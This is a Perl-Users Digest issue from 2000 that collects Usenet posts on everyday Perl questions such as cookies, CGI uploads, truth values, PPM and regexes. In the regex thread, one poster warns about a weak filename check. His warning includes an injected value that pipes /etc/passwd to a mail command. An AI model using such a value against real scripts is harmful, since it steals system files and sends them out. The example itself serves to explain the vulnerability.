[17062] in Perl-Users-Digest
Perl-Users Digest, Issue: 4474 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Sep 30 00:05:38 2000
Date: Fri, 29 Sep 2000 21:05:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <970286709-v9-i4474@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Fri, 29 Sep 2000 Volume: 9 Number: 4474
Today's topics:
Anybody out there use TinyWeb server? <raylj@compuserve.com>
Cookies malatov@my-deja.com
Cookies malatov@my-deja.com
Re: E-commerce - getting started (brian d foy)
File upload testing if it's there jim_marshall2268@hotmail.com
Re: help renaming a file <iltzu@sci.invalid>
Re: How to get length of scalar? (John Stanley)
Re: How to get length of scalar? <bmb@ginger.libs.uga.edu>
Re: How to get length of scalar? (Keith Calvert Ivey)
Re: How to get length of scalar? <harrisr@bignet.net>
Re: Huh? <simonis@myself.com>
Re: Huh? <jeff@vpservices.com>
matching ms-dos filenames <jargo_nomeatinacanthanks@vet.com.au>
need blanks at end of format line onkeerbaar@hotmail.com
Re: Newbie can't handle the "true"th... explanation de (Mark-Jason Dominus)
Re: Newbie can't handle the "true"th... explanation de (Craig Berry)
Re: Newbie can't handle the "true"th... explanation de <bmb@ginger.libs.uga.edu>
Re: Newbie can't handle the "true"th... explanation de <lr@hpl.hp.com>
Re: Perl on PWS on Win ME (brian d foy)
POST with variable data briceman@my-deja.com
PPM: can't install modules from local directory hiroshiishii@my-deja.com
Re: PPM: can't install modules from local directory <jeff@vpservices.com>
Re: question about regular expressions (shock, horror.. (Craig Berry)
Re: question about regular expressions (shock, horror.. <elijah@workspot.net>
Re: question about regular expressions (shock, horror.. (Keith Calvert Ivey)
Questions about "high-performance" networking in Perl <jad@stanfordalumni.org>
Re: sending SMS <morri_p@localhost.localdomain>
Re: sending SMS <flavell@mail.cern.ch>
Re: steps to find memoryleaks? <bwalton@rochester.rr.com>
Re: steps to find memoryleaks? <godzilla@stomp.stomp.tokyo>
Re: substituting for spaces at the beginning of a line <bmb@ginger.libs.uga.edu>
Re: temporary file names (Gwyn Judd)
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Fri, 29 Sep 2000 20:01:23 -0500
From: "Ray Lj" <raylj@compuserve.com>
Subject: Anybody out there use TinyWeb server?
Message-Id: <8r3enk$scn$1@sshuraab-i-1.production.compuserve.com>
If you useTinyWeb for local perl/cgi development I could use some help. I
can not get Tiny to accept more than one REQUIRE statement in a perl
program.
And, it's worse than that....it will only use one particular file. If I add
any subroutines to the file it halts, if I name another file it halts, if I
even rename the second file to the name of the first file it halts.
HELP!
Ray
------------------------------
Date: Fri, 29 Sep 2000 22:38:36 GMT
From: malatov@my-deja.com
Subject: Cookies
Message-Id: <8r35lc$mc2$1@nnrp1.deja.com>
I am attempting to post data to a form in perl.
Every time I sucessfully post the data, I get an
error page that says "It appears that cookies
have been turned off on your browswer, please
change your broswer to allow cookies, and try
again once you are done." How can I change my
script to allow the cookie to be acepted once I
have posted the data?? I atempted to add some
cookie stuff in there, but I failed :(
please help!!
Here is my script:
use HTTP::Cookies;
use LWP;
## Create a UserAgent
$ua = new LWP::UserAgent;
$cookie_jar = new HTTP::Cookies;
$url
= "http://www.museumcompany.com/misc/paris/signup.
asp";
## Create the request; $url is the URL to post to
$request = new HTTP::Request('post', $url);
$cookie_jar->extract_cookies($response);
## Add headers this way
$request->header(Pragma => 'no-cache');
$request->content('');
## Use the UserAgent to submit the request and
get the response
$response = $ua->request($request);
if ($response->is_success)
{
print "Good Job";
}
else {
print "Failed: ", $response-
>status_line, "\n";
}
## Get the body of the response
$body = $response->content;
print "$body";
Thanks!!
dbApostle
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Fri, 29 Sep 2000 22:38:33 GMT
From: malatov@my-deja.com
Subject: Cookies
Message-Id: <8r35la$mc1$1@nnrp1.deja.com>
I am attempting to post data to a form in perl.
Every time I sucessfully post the data, I get an
error page that says "It appears that cookies
have been turned off on your browswer, please
change your broswer to allow cookies, and try
again once you are done." How can I change my
script to allow the cookie to be acepted once I
have posted the data?? I atempted to add some
cookie stuff in there, but I failed :(
please help!!
Here is my script:
use HTTP::Cookies;
use LWP;
## Create a UserAgent
$ua = new LWP::UserAgent;
$cookie_jar = new HTTP::Cookies;
$url
= "http://www.museumcompany.com/misc/paris/signup.
asp";
## Create the request; $url is the URL to post to
$request = new HTTP::Request('post', $url);
$cookie_jar->extract_cookies($response);
## Add headers this way
$request->header(Pragma => 'no-cache');
$request->content('');
## Use the UserAgent to submit the request and
get the response
$response = $ua->request($request);
if ($response->is_success)
{
print "Good Job";
}
else {
print "Failed: ", $response-
>status_line, "\n";
}
## Get the body of the response
$body = $response->content;
print "$body";
Thanks!!
dbApostle
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Fri, 29 Sep 2000 19:14:14 -0400
From: brian@smithrenaud.com (brian d foy)
Subject: Re: E-commerce - getting started
Message-Id: <brian-ya02408000R2909001914140001@news.panix.com>
In article <lO2B5.1389$mB3.75010@newsread2.prod.itd.earthlink.net>, "Nebulus" <news@nebulus.org> posted:
> Hey all. I have a question, and I'm sure somebody out there can answer it.
> How does one get started developing the CGI that uses all the various
> payment validation packages out there (CyberCash, Verisign's PayFlo Pro,
> Authorize.net, etc)?
you download their SDK.
--
brian d foy
CGI Meta FAQ <URL:http://www.smithrenaud.com/public/CGI_MetaFAQ.html>
Perl Mongers <URL:http://www.perl.org/>
------------------------------
Date: Sat, 30 Sep 2000 03:49:14 GMT
From: jim_marshall2268@hotmail.com
Subject: File upload testing if it's there
Message-Id: <8r3nrp$3qr$1@nnrp1.deja.com>
I'm new to perl, started two days ago. I've been doing C/C++ and Java
for many years...
I'm writing a small script to do file upload (fileupload), I'm using
the CGI.pm module. The form I have has three file upload fields, but
the user can select to upload only 1 file (or just 2 files, or all 3).
So I want to test if the field is present.
I tried this
$jpgFile = $query->param("pic1");
# if (defined $jpgFile) {
if ($jpgFile) {
print "File pic1 is present";
}
elif {
print "File 'pic1' is not present";
}
No matter what the "is not present" code was being executed. I ended up
having to do this
$jpgFile = $query->param("pic1");
if ($jpgFile ne '') {
print "File pic1 is present";
}
elif {
print "File 'pic1' is not present";
}
Can someone explain why the former didn't work? And if it is safe and
valid to use the later? The code works fine with the 'ne' but I want
to be sure it is ok.
Thanks
-Jim
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: 29 Sep 2000 23:54:22 GMT
From: Ilmari Karonen <iltzu@sci.invalid>
Subject: Re: help renaming a file
Message-Id: <970270478.8771@itz.pp.sci.fi>
In article <mbudash-D4AAB6.08551729092000@news.pacbell.net>, Michael Budash wrote:
>In article <slrn8t9e6n.miu.rgarciasuarez@rafael.kazibao.net>,
>rgarciasuarez@free.fr (Rafael Garcia-Suarez) wrote:
>> rename($datafile, $newfile)
>> || die("Cannot rename $datafile to $newfile : $!\n");
>> and then, by checking the logs, you should find the cause of the error.
>
>good suggestion. and he wouldn't even have to 'check the logs' if he
>added this to the top of the script:
>
>use CGI::Carp 'fatalsToBrowser';
..and he could get even more information by getting the latest version
of CGI::Carp and also using 'warningsToBrowser'.
That does require getting the module from CPAN and installing it
(unless his sysadmin is has already done that), as well as reading the
documentation, but I would consider it worth the trouble. Of course,
I'm biased, since I wrote that little hack.
--
Ilmari Karonen - http://www.sci.fi/~iltzu/
Please ignore Godzilla | "By promoting postconditions to
and its pseudonyms - | preconditions, algorithms become
do not feed the troll. | remarkably simple." -- Abigail
------------------------------
Date: 29 Sep 2000 22:26:50 GMT
From: stanley@skyking.OCE.ORST.EDU (John Stanley)
Subject: Re: How to get length of scalar?
Message-Id: <8r34va$j6s$1@news.NERO.NET>
In article <8r303h$20s$1@uranium.btinternet.com>,
Mark Carruth <mcarruth@talk21.com> wrote:
>1) Uri, my wife cannot call me in idiot as I am 13 ...
>3) I have no "responsibility" to take for my actions, ...
Say no more.
47 line sig, in which previous messages were quoted, deleted.
------------------------------
Date: Fri, 29 Sep 2000 19:19:37 -0400
From: Brad Baxter <bmb@ginger.libs.uga.edu>
Subject: Re: How to get length of scalar?
Message-Id: <Pine.A41.4.21.0009291902130.16974-100000@ginger.libs.uga.edu>
On Fri, 29 Sep 2000, Mark Carruth wrote:
> OK, just to round off these little arguments.
>
> 1) Uri, my wife cannot call me in idiot as I am 13 and have no wife :P
Mark, treat her well when you do. You won't regret it. :-)
> 2) Fair enough, I am lazy for not posting Plain Text each time.
>
> 3) I have no "responsibility" to take for my actions, it is not like I have
> commited a crime.
No, but neither has anyone else in this discussion. You don't have to
make any effort to get along with other folks. It is usually more fun
when you do, though.
> 4) And as for the HTML argument, I don't write my WEB/HTML documents in
> anything other than HTML or PHP which is HTML with embedded code.
That's because it won't work right unless you do. Because newsgroups
allow it doesn't mean it's polite. But, as I said, you don't *have* to
be polite. But it's more fun. Unless you're a lizard. (That's an inside
joke.)
> -----------------------------------------------
> Mark Carruth
Cheers,
Brad
------------------------------
Date: Sat, 30 Sep 2000 01:00:37 GMT
From: kcivey@cpcug.org (Keith Calvert Ivey)
Subject: Re: How to get length of scalar?
Message-Id: <39d63ab1.1860456@news.newsguy.com>
"Mark Carruth" <mcarruth@talk21.com> wrote:
>A voice version of this would be "eavestropping" or listening to other
>peoples conversations which I consider to be down right rude, and therefore
>you people must all be down right rude.
You really don't understand Usenet, do you (as if that weren't
clear enough)? If you want to have a private conversation,
that's what e-mail's for.
--
Keith C. Ivey <kcivey@cpcug.org>
Washington, DC
------------------------------
Date: Fri, 29 Sep 2000 22:39:33 -0400
From: "Randy Harris" <harrisr@bignet.net>
Subject: Re: How to get length of scalar?
Message-Id: <staki0nbq4bifc@corp.supernews.com>
> -----------------------------------------------
> Mark Carruth
> mcarruth@talk21.com
> "Mark Carruth" <mcarruth@talk21.com> wrote in message
> news:8qvur2$4il$1@uranium.btinternet.com...
> The reason I post HTML is that I use Outlook Express to look at these
> newsgroups, and I also use Outlook Express to read my mail.
>
> As I send all my emails (which are part of my LIFE Uri) using HTML,
the
> programme sends all my posts in HTML. I never have people moaning
about HTML
> in Email so I don't know why I should change.
>
Mark, I suspect you already know this but enjoy being belligerent.
However, on the chance that you've overlooked it... Take a look at
Tools->Options->Send in your Outlook Express menu. There you will see
that there are separate settings for Mail Sending Format and News
Sending Format. There is no reason why you cannot set mail to HTML and
news to Plain Text.
------------------------------
Date: 29 Sep 2000 22:35:21 GMT
From: Drew Simonis <simonis@myself.com>
Subject: Re: Huh?
Message-Id: <39D515F5.CFFB2D5A@myself.com>
Jeff Zucker wrote:
>
> Gene wrote:
> >
> > What's all that about?
>
> It is about the fact that this is an international newsgroup and
> therefore English is not the only language permitted.
Show off!! =P
------------------------------
Date: Fri, 29 Sep 2000 17:15:25 -0700
From: Jeff Zucker <jeff@vpservices.com>
Subject: Re: Huh?
Message-Id: <39D5309D.5E7CC03A@vpservices.com>
Drew Simonis wrote:
>
> Jeff Zucker wrote:
> >
> > Gene wrote:
> > >
> > > What's all that about?
> >
> > It is about the fact that this is an international newsgroup and
> > therefore English is not the only language permitted.
>
> Show off!! =P
Well, maybe just a little. But don't you worry my boy, work hard and
someday you too will be able to spot a missing slash in a shebang. ;-)
P.S. Gene: the French dude was just having trouble executing his
scripts. If it had been anything more general, I would have translated.
--
Jeff
------------------------------
Date: Sat, 30 Sep 2000 14:11:20 +1100
From: Jason Argo <jargo_nomeatinacanthanks@vet.com.au>
Subject: matching ms-dos filenames
Message-Id: <39D559D8.6347850@vet.com.au>
Hi all,
I'm having a problem in matching ms-dos filenames. I'm using something like:
(when both $file1 and $file2 are "c:\folder\file")
if ($file1 =~ m/$file2/) {
# do stuff...
}
This never seems to match. I think the backslashes on the righthand side are
being taking as an escape char as the following does match:
if ($file1 =~ m/c:\\folder\\file/)
I'm running FreeBSD with Perl 5.005_03, but the file names I'm matching are
ms-dos.
Can somebody please explain to me:
1) why the righthand side works in this fashion (if that is actually the case).
2) what method I should be using to enable using variables on the right hand side.
Many thanks in advance,
Jason
------------------------------
Date: Fri, 29 Sep 2000 23:58:49 GMT
From: onkeerbaar@hotmail.com
Subject: need blanks at end of format line
Message-Id: <8r3abm$q24$1@nnrp1.deja.com>
I'm outputting a file with all lines having 94chars
thus this line below needs blank padding on the end to fill the 94 chars
format LINE1 =
101 @<<<<<<<< 271987635@<<<<<@<<<A094101@<<<<<<<<<<<<<<<<<<<<<<IRRY
SERVICE CORP
$ROUTING_CODE, $runDate, $runTime, $CU_NAME
.
so far I have been unable to get the spaces on the end via format.
The other lines are nice enough to have text in pos 94, and those work
fine.
any ideas!?
adnog
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Fri, 29 Sep 2000 20:24:22 GMT
From: mjd@plover.com (Mark-Jason Dominus)
Subject: Re: Newbie can't handle the "true"th... explanation desired
Message-Id: <39d51fba.6b5$255@news.op.net>
In article <39d4fc12.26424851@news.earthlink.net>,
Jon S. <jonceramic@nospammiesno.earthlink.net> wrote:
>I've resorted to using
>$itstrue = 1;
That's the right thing to do.
>(I also contemplated just giving it the string "true".)
Sometimes I use 'yes'. It depends on context.
>But I keep wondering if there's a better way, more exact way. (Like,
>is there some standard expression that comes up true which everyone
>uses?)
I have very rarely used
$flag = 'Cogito ergo sum';
which as everyone knows is self-evidently true in all possible
universes. This ensures maximum portability.
>Similarly, just what gets put into a variable when you set it as true
>or false?
Depends on how you set it. Boolean expressions such as ($a == $b)
return either 1 or ''.
------------------------------
Date: Fri, 29 Sep 2000 23:05:29 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: Newbie can't handle the "true"th... explanation desired
Message-Id: <sta81p703nmj6f@corp.supernews.com>
Larry Rosler (lr@hpl.hp.com) wrote:
: Though you didn't ask explicitly, the only 'false' values are:
:
: an arithmetic expression that evaluates to 0
: the string '0'
: the undefined value (undef, or not assigning anything)
...and the empty string ''.
Various transformation rules allow this list to be shortened. For
example, undef interpreted as a string yields '', and as a number, 0.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "Quidquid latine dictum sit, altum viditur."
|
------------------------------
Date: Fri, 29 Sep 2000 19:34:04 -0400
From: Brad Baxter <bmb@ginger.libs.uga.edu>
Subject: Re: Newbie can't handle the "true"th... explanation desired
Message-Id: <Pine.A41.4.21.0009291922210.16974-100000@ginger.libs.uga.edu>
On Fri, 29 Sep 2000, Jon S. wrote:
> Hi,
>
> I know this must seem dumb, but I'm trying to figure out the proper
> way to set a scalar as a boolean "true" or "false".
>
> Larry R. and others helped me before with a definition of a variable
> using a condition that was either true or false, but now I've found a
> spot where I just want to seed something a "true" value for later use.
>
> I've resorted to using
> $itstrue = 1;
>
> (I also contemplated just giving it the string "true".)
>
> But I keep wondering if there's a better way, more exact way. (Like,
> is there some standard expression that comes up true which everyone
> uses?)
>
> Similarly, just what gets put into a variable when you set it as true
> or false?
In my own experience, using 1 for true and 0 for false are usually
adequate, and most people are used to it. If you have a good reason to use
"true" instead of '1', go right ahead. There is no "standard" value for true or
false in Perl, so the phrase, "when you set it as true or false", doesn't
really mean anything definite. The variable becomes whatever you actually
set it to.
my $true = 1;
my $false = 0;
my $a = $true; ### $a == 1
my $b = $false; ### $b == 0
my $c = 'hey'; ### but it's still true
As you surely know, perl considers $c true, even though it doesn't
equal "my" definition of $true.
I suggest not worrying about it very much. Use 1 and 0 when it's
convenient, but at the same time make sure you are intimately familiar
with Perl's idea of true/false.
Cheers,
Brad
------------------------------
Date: Fri, 29 Sep 2000 16:26:46 -0700
From: Larry Rosler <lr@hpl.hp.com>
Subject: Re: Newbie can't handle the "true"th... explanation desired
Message-Id: <MPG.143ec5143ebd8b4398ade3@nntp.hpl.hp.com>
In article <sta81p703nmj6f@corp.supernews.com> on Fri, 29 Sep 2000
23:05:29 -0000, Craig Berry <cberry@cinenet.net> says...
> Larry Rosler (lr@hpl.hp.com) wrote:
> : Though you didn't ask explicitly, the only 'false' values are:
> :
> : an arithmetic expression that evaluates to 0
> : the string '0'
> : the undefined value (undef, or not assigning anything)
>
> ...and the empty string ''.
Oops, of course!
> Various transformation rules allow this list to be shortened. For
> example, undef interpreted as a string yields '', and as a number, 0.
But there may be warnings caused by conversions of undef. However, a
simple Boolean test of undef never produces a warning.
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Fri, 29 Sep 2000 19:12:37 -0400
From: brian@smithrenaud.com (brian d foy)
Subject: Re: Perl on PWS on Win ME
Message-Id: <brian-ya02408000R2909001912370001@news.panix.com>
In article <39D3C9A8.A6F37DE3@usjet.net>, Jim Gaasedelen <jim@usjet.net> posted:
> brian d foy wrote:
> > In article <39D39E16.7A7B9935@usjet.net>, Jim Gaasedelen
> > <jim@usjet.net> wrote:
> > > If this is your personal computer and security is not a problem, then
> > > open up
> > > read, write, execute privileges on all the relevant directories
> > security is always a problem no matter if its your personal
> > computer or not. there is no sense in doing it wrong on
> > purpose.
> You can't seem to get it through your head, can you? Security is NOT
> always a
> problem for everyone. I know. It is NOT a problem for me!!! Just what
> dire
> consequences do you expect to temporarily open up some permissions for
> diagnostic
> purposes.
read BUGTRAQ for awhile, or hang out with security consultants.
a lot of managers tend to think like you do, until i deliver their
password files to them (of course, i'm under contract to do that
for them ;).
if your computer is on a network, or even comes close to one (including
dial up), you can be hacked. don't depend on firewalls or NAT to
protect you since new holes are continually found. again, see
BUGTRAQ for gory details.
--
brian d foy
CGI Meta FAQ <URL:http://www.smithrenaud.com/public/CGI_MetaFAQ.html>
Perl Mongers <URL:http://www.perl.org/>
------------------------------
Date: Sat, 30 Sep 2000 02:56:36 GMT
From: briceman@my-deja.com
Subject: POST with variable data
Message-Id: <8r3kp2$1o4$1@nnrp1.deja.com>
I am trying to POST to another cgi program using
an input type whose value is set from a
$variable. The param is always null on the
called program. If the input value is explicitly
set it works fine.
print '<CENTER><form method=POST action=/cgi-
bin/info.cgi><input name=aaaa type=hidden
value="$site"><input name=action type=hidden
value="delete"><BR><BR> <input type=submit
value="Do something here"></CENTER>';
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Sat, 30 Sep 2000 00:27:45 GMT
From: hiroshiishii@my-deja.com
Subject: PPM: can't install modules from local directory
Message-Id: <8r3c1r$rbq$1@nnrp1.deja.com>
Hi All:
I am having very difficult time to install DB_File module.
Our situation does not support proxy. So I downloaded the module
according to an instruction found in "Using PPM to installl modules."
I created a local repository on C: drive under the "perl" folder,
C:\perl\ppm.
Started ppm from c:\perl
from ppm> prompt,
set repository local c:\perl\ppm
set save
install /location local DB_File
Then I am getting an error message, "could not locate a PPD file for
package DB_File."
I stored DB_File.tar.gz in c:\perl\ppm\x86, and DB_File.ppd in
c:\perl\ppm, as instructed.
How ppm install look for ppd file?
Pleasze help
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Fri, 29 Sep 2000 17:56:22 -0700
From: Jeff Zucker <jeff@vpservices.com>
Subject: Re: PPM: can't install modules from local directory
Message-Id: <39D53A36.9AEAEF40@vpservices.com>
hiroshiishii@my-deja.com wrote:
>
> How ppm install look for ppd file?
1. Download foo.zip
2. Unzip foo.zip into a temporary directory (e.g. c:\ppd\)
3. Go to a DOS console box
3. cd to the directory you created (e.g. cd c:\ppd)
4. ppm install foo.ppd
--
Jeff
------------------------------
Date: Fri, 29 Sep 2000 22:08:03 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: question about regular expressions (shock, horror.. )
Message-Id: <sta4m3pbe18783@corp.supernews.com>
Larry Rosler (lr@hpl.hp.com) wrote:
: > : A purist would write that regex as /^\s*\z/
: >
: > That still allows embedded as well as terminal newlines, since \n is in
: > \s.
:
: The regex *matches* (not 'allows' -- it disallows!) strings consisting
: only of whitespace (including newlines) anywhere, and rules them out.
: My objection to using '$' at the end was to point out the loophole which
: accepted a filename consisting only of a single newline character.
Ah, the light dawns. Sorry, shot before aiming. :)
: Each of us provided a Better Way (invert the test and accept any
: filename with at least one non-whitepace character). So I don't get the
: point of your remark.
Don't feel bad; it turns out there wasn't one.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "Quidquid latine dictum sit, altum viditur."
|
------------------------------
Date: 29 Sep 2000 22:35:25 GMT
From: Eli the Bearded <elijah@workspot.net>
Subject: Re: question about regular expressions (shock, horror.. )
Message-Id: <eli$0009291829@qz.little-neck.ny.us>
In comp.lang.perl.misc, Steve Howe <stephen@bcl.com> wrote:
> for the clever people out there..
> what the _heck_ does the regular expression in this do, please?
>
> if ($query->param('save-as-filename') !~ /^[ \t]*$/) {
> $filename = $query->param('save-as-filename');
If that is the only check on 'save-as-filename', it introduces
fun security holes into the script. (consider a filename like
'|cat /etc/passwd | mail me@example.com')
Elijah
------
if the filename is passed to open() that is
------------------------------
Date: Sat, 30 Sep 2000 00:52:33 GMT
From: kcivey@cpcug.org (Keith Calvert Ivey)
Subject: Re: question about regular expressions (shock, horror.. )
Message-Id: <39d53858.1259336@news.newsguy.com>
Larry Rosler <lr@hpl.hp.com> wrote:
>Jeff Zucker <jeff@vpservices.com> says...
>> Jeff Zucker wrote:
>> > Steve Howe wrote:
>> > > if ($query->param('save-as-filename') !~ /^[ \t]*$/) {
>> > > $filename = $query->param('save-as-filename');
>> >
>> > It checks to see if the user submitted a filename that consists only of
>> > spaces and tabs.
>>
>> Or if the filename field was left empty.
>
>But it accepts a filename consisting only of a newline character.
No it doesn't. But it does accept a filename consisting of
*two* newlines.
--
Keith C. Ivey <kcivey@cpcug.org>
Washington, DC
------------------------------
Date: Fri, 29 Sep 2000 20:29:25 -0700
From: "Jad S. Boutros" <jad@stanfordalumni.org>
Subject: Questions about "high-performance" networking in Perl
Message-Id: <Pine.GSO.4.21.0009291921080.6840-100000@saga1.Stanford.EDU>
We have several servers written in Perl (Perl 5.005 under Linux 2.2.14)
and I am trying to enhance them to handle more requests. My objection from
the beginning was that fast networking code ought to be written in C
instead of Perl (I don't want to offend anyone, I seriously love Perl for
everything else). My reasons where that we can inline things better in C,
we don't have the garbage collector, we can try a few tricks with better
pre-allocation of data structures and so on.
I don't have the luxury to try things in both languages so I am staying
with Perl and trying to write things on my end as well as possible. And, I
appreciate your help in maybe answering some questions I have below or
refer me to some documentation which helped you write faster networking
code. Even if the questions are too specific, I'll appreciate general
observations that you might have.
(1) Why so long to send 500 bytes over UNIX domain sockets?
I pre-allocate a bunch of children processes to handle the individual
requests (which for the most part are blocking database calls). The
communication between parent and children is via Unix sockets, which as
expected, seem to be twice as fast as TCP sockets. The request sent to
children is roughly 500 bytes and the response is much smaller. Still, it
is taking about 20 ms to send this data from parent to children (using
send() or syswrite() ). Reading that same data takes maybe 0.1ms using
read() or sysread().
The sockets are non-blocking and one single send() is enough to send this
data. I traced the underlying write() O/S system call and it is not even
taking one fraction of a milisecond. Where is the delay coming from? By
the way, the Linux boxes are pretty-fast dual-processor machines. With
this delay, I am not too confident we can call it "non-blocking" :)
Are there any limitations of Unix sockets that make them slow? Maybe there
is no non-blocking for UNIX sockets? Obviously, if the parent process
wants to service 50 requests per second, it cannot "block" anywhere for
20ms.
(2) Use Unix sockets or shared memory?
Using shared memory for the IPC between parent and children has the
advantage that no data needs to be explicitly sent between the
processes. Did anyone try the performance of such a solution as opposed to
sockets?
(3) Handling socket exceptions
No documentation says that there could be an exception thrown during basic
networking calls (open(), accept(), read(), write()...). Still, we have
eval blocks around them and sometimes I do get some exception thrown (like
"Resource Temporarily Unavailable"). Does Perl translate some error
returns into exceptions?
(4) Optimizing the big select loop
There are about 800 connections open to my server eventhough it only
gets a request on each connection every 30 seconds or so. I am concerned
that just looping over all these 800 connections to find the ones that
have the read bit set is a big hit. Looking at IO::Select, it loops
through all the 800 bits to find the one (or the few) that are set. Isn't
that a penalty or is is so fast that it doesn't really matter?
(5) C or Perl?
Is there anywhere which says that for performance sensitive code, we
preferably should try things in C? It is a question, not an attack on the
language. Every language has limitations and I just want to know if that
is one...
Thanks much.
jad (jad@stanfordalumni.org)
------------------------------
Date: Fri, 29 Sep 2000 22:18:05 GMT
From: Paul Morris <morri_p@localhost.localdomain>
Subject: Re: sending SMS
Message-Id: <Pine.LNX.4.21.0009292308470.2769-100000@localhost.localdomain>
On Wed, 28 Jun 2000, Chris M. Wagner wrote:
> Hi, is it possible to send a SMS using perl?
Of course it is. The question you have to ask yourself is
how will you submit the SMS messages to the mobile network?
Web gateway or mobile phone?
The former will require use of LWP::Useragent modules for www access
(the easy way). For the latter, you can submit sms to most mobiles
that support data using their AT modem command set - refer to handset
documentation for that. Send the AT commands to the serial port your
phone is attached to. On Windows NT use Win32::Serialport to communicate
with the phone, on Linux/UNIX its probably simpler, but I have no
experience of that platform.
Have fun.
Cheers.
------------------------------
Date: Sat, 30 Sep 2000 00:21:42 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: sending SMS
Message-Id: <Pine.GHP.4.21.0009300019350.17971-100000@hpplus03.cern.ch>
On Fri, 29 Sep 2000, Paul Morris wrote:
> Web gateway or mobile phone?
<OT>
Neither. I use modem dial-up.
</>
------------------------------
Date: Sat, 30 Sep 2000 00:50:40 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re: steps to find memoryleaks?
Message-Id: <39D538ED.7949DEC6@rochester.rr.com>
gumbygumbygumby@my-deja.com wrote:
>
> Hi, i am curious about some resource on how to try to track down
> memoryproblems.
> I have problems with a script that seems to take to much memory.
> I have made everything locally where possible, i have two packages, and
> one of them has to access the other (have made a package for
> Html::Parser, and it store the data in %main::items)
> i suspect that this might be the problem; i parser several sgml-files,
> and after each file i do an
> undef %items;
> will this really free the space taken by %items?
>
> any tips for what one primarily shall look for to find memoryproblems,
>
> cheers.
>
> /carl
...
Well, Perl generally doesn't relinquish its garbage-collected memory
back to the operating system until it exits. But it will re-use
garbage-collected memory when you save additional values. This is done
for efficiency purposes, and perhaps to decrease Perl's reliance on
possibly buggy OS memory management schemes. You can compile Perl to
use the OS's memory management. See perldoc -q memory.
--
Bob Walton
------------------------------
Date: Fri, 29 Sep 2000 18:33:39 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: steps to find memoryleaks?
Message-Id: <39D542F3.FE58B89A@stomp.stomp.tokyo>
gumbygumbygumby wrote:
(snip - no references - article missing on Sucker News)
gumby must be a popular name for a fake email
address at deja-vu. Pokey is more cute.
> I have problems with a script that seems to take to much memory.
> I have made everything locally where possible, i have two packages, and
> one of them has to access the other (have made a package for
> Html::Parser, and it store the data in %main::items)
What methods did you use to measure your memory usage
and what are your results? What ratio of memory usage
to cpu content processing was discovered? Did you have
positive results with use of different methods?
Rewrite your script to include a sub-routine or sub-routines
which handle your parser data. Declare "my" variables as place
holders for your parser data. Upon exiting a sub-routine of
this type, your my variables will release memory used. If needed,
you may declare a global variable to hold your final data to pass
data along, or declare a 'global' my variable to pass along data
to nested sub-routines. Good use of &Sub-Routine (your data) will
also work well.
Best way to clean up garbage data is, don't make garbage data.
Godzilla!
--
Dr. Kiralynne Schilitubi ¦ Cooling Fan Specialist
UofD: University of Duh! ¦ ENIAC Hard Wiring Pro
BumScrew, South of Egypt ¦ HTML Programming Class
------------------------------
Date: Fri, 29 Sep 2000 19:36:30 -0400
From: Brad Baxter <bmb@ginger.libs.uga.edu>
Subject: Re: substituting for spaces at the beginning of a line
Message-Id: <Pine.A41.4.21.0009291936060.16974-100000@ginger.libs.uga.edu>
On Fri, 29 Sep 2000, David Kowal wrote:
> I'd like to be able to remove all spaces in a beginning of a line and am using the following code:
>
> $Text{'Change Request'} =~ s/^\s+//g;
>
> Unfortunately, it only removes one space. Any reason why?
>
> Appreciate any help or reference.
perldoc -q strip
Brad
------------------------------
Date: Fri, 29 Sep 2000 23:56:09 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: temporary file names
Message-Id: <slrn8tab0m.sb.tjla@thislove.dyndns.org>
I was shocked! How could abaxaba <abaxaba@my-deja.com>
say such a terrible thing:
>Why not use $$. Won't this generate a unique fileName?
No. *think* about it.
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
The American Republic will endure, until politicians realize they can
bribe the people with their own money.
-Alexis de Tocqueville
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 4474
**************************************